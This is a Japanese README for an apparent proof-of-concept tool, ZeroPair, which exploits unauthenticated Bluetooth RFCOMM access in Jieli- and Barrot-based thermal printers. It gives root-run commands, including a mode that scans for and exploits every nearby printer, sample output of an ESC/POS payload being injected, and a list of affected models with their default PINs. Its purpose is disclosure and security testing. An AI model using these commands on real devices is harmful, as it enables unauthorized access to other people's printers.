
脆弱なサーマルプリンターにおけるゼロ認証Bluetooth RFCOMMアクセスバイパスを実証する概念実証ツール
ゼロ認証Bluetoothエクスプロイト
"プリントを盗め、システムを掌握せよ"
███████╗███████╗██████╗ ██████╗
╚══███╔╝██╔════╝██╔══██╗██╔═══██╗
███╔╝ █████╗ ██████╔╝██║ ██║
███╔╝ ██╔══╝ ██╔══██╗██║ ██║
███████╗███████╗██║ ██║╚██████╔╝
╚══════╝╚══════╝╚═╝ ╚═╝ ╚═════╝
██████╗ █████╗ ██╗██████╗
██╔══██╗██╔══██╗██║██╔══██╗
██████╔╝███████║██║██████╔╝
██╔═══╝ ██╔══██║██║██╔══██╗
██║ ██║ ██║██║██║ ██║
╚═╝ ╚═╝ ╚═╝╚═╝╚═╝ ╚═╝
作成者: [CBKB] DeadlyData | 2026
ZeroPairは、JieliおよびBarrotチップセットを搭載したBluetooth対応サーマルプリンタにおけるゼロ認証の脆弱性を実証する概念実証ツールです。影響を受けるデバイスは、ペアリングやユーザーの操作を必要とせずに、認証なしのRFCOMM接続を受け入れます。そのため、Bluetooth圏内にいる攻撃者がプリンタのコマンドインターフェースにアクセスできます。
CVE: MITREに提出済み(割り当て保留中)
| ZeroPair 概念実証 |
JieliおよびBarrot Bluetoothチップセットを搭載したBluetooth対応サーマルプリンタには、RFCOMM(SPP)サービスにおける認証バイパスの脆弱性があります。ファームウェアに実装された不適切なアクセス制御により、影響を受けるデバイスは、ペアリングやユーザーの操作を必要とせずに、認証なしのRFCOMM接続を受け入れます。この脆弱性は、標準のBluetooth管理ツールでは検査も削除もできない隠れたファームウェア信頼状態に存在します。
| 分類 | 深刻度 |
|---|---|
| ゼロ認証 | 重大 |
| 永続的ペアリング信頼 | 高 |
| 隠れたペアリング状態 | 高 |
| 不明な認証バイパス | 高 |
これらのチップセットを使用する他のBluetoothサーマルプリンタも影響を受ける可能性があります。
bluez - Bluetoothプロトコルスタック(hcitool、bluetoothctl、rfcomm、sdptool)Debian/Ubuntuでのインストール:
sudo apt install bluez
coloramapip install colorama
ZeroPairはRFCOMM操作にroot権限が必要です。
悪用前に4段階の脆弱性検証を実行します:
sudo python3 ZeroPair.py <MAC_ADDRESS>
sudo python3 ZeroPair.py 66:32:9E:2E:FD:94
検証をスキップして直接悪用を試みます:
sudo python3 ZeroPair.py <MAC_ADDRESS> --skip
すべてのBluetoothデバイスをスキャンし、プリンタを特定して検証・悪用します:
sudo python3 ZeroPair.py --scan
最速モード - 検証なしでスキャンして悪用します:
sudo python3 ZeroPair.py --scan --skip
bluetoothctlによるユーザー空間のペアリング可視性/var/lib/bluetooth/)影響を受けるプリンタは、ファームウェアレベルで寛容なRFCOMM受け入れポリシーを実装しています。Bluetoothコントローラは、受信SPP接続に対して認証や暗号化を強制しません。信頼状態はホストのBluetoothスタック(BlueZ)ではなくファームウェアで管理されているため、bluetoothctlなどの標準ツールでは暗黙の信頼を検出、検査、または取り消すことができません。デバイスはユーザーの操作なしに、任意のBluetoothホストからの接続を黙って受け入れます。
[*] single target mode (validation enabled)
[*] ==========================================================
[*] target: 66:32:9E:2E:FD:94 (X6h-A725)
[*] model: X6h-A725
[*] ==========================================================
[*] starting vulnerability validation...
[*] testing user-space pairing visibility [DONE]
[*] identifying local bluetooth adapter [DONE]
[*] checking filesystem pairing cache [DONE]
[*] testing RFCOMM unauthenticated access [DONE]
[!] VULNERABILITY CONFIRMED
Type: ZERO AUTHENTICATION
Severity: CRITICAL
[*] vulnerability details:
[+] RFCOMM accessible: YES
[+] BlueZ visible: NO
[+] BlueZ paired: NO
[+] Cache exists: NO
[+] target is exploitable - proceeding with attack
[*] discovering RFCOMM channels [channel 1]
[*] establishing RFCOMM connection [CONNECTED]
[*] injecting ESC/POS payload [SUCCESS]
[*] exploitation successful - check printer output!
[+] exploitation completed successfully
このツールは許可されたセキュリティテストおよび教育目的のみを対象としています。コンピュータシステムへの不正アクセスは違法です。作者は一切の責任を負わず、このツールによって引き起こされた誤用や損害について責任を負いません。責任を持って、所有しているシステムまたは明示的な許可を得たシステムに対してのみ使用してください。
MIT
| モデル | 製造元 | チップセット | デフォルトPIN | コマンドセット |
|---|
| X6h-A725 | Zhuhai Jieli | Jieli | 1234 | ESC/POS |
| M58-L | Zhuhai Jieli | Jieli | 1234 | ESC/POS |
| D450 | Omezizy | Barrot | 0000 | TSPL |
| 引数 | 省略形 | 説明 |
|---|
target | 対象のMACアドレス(例: 66:32:9E:2E:FD:94) | |
--scan | -a | 自動スキャンモード: すべてのプリンタを検出して悪用 |
--skip | -s | 脆弱性検証をスキップ(高速) |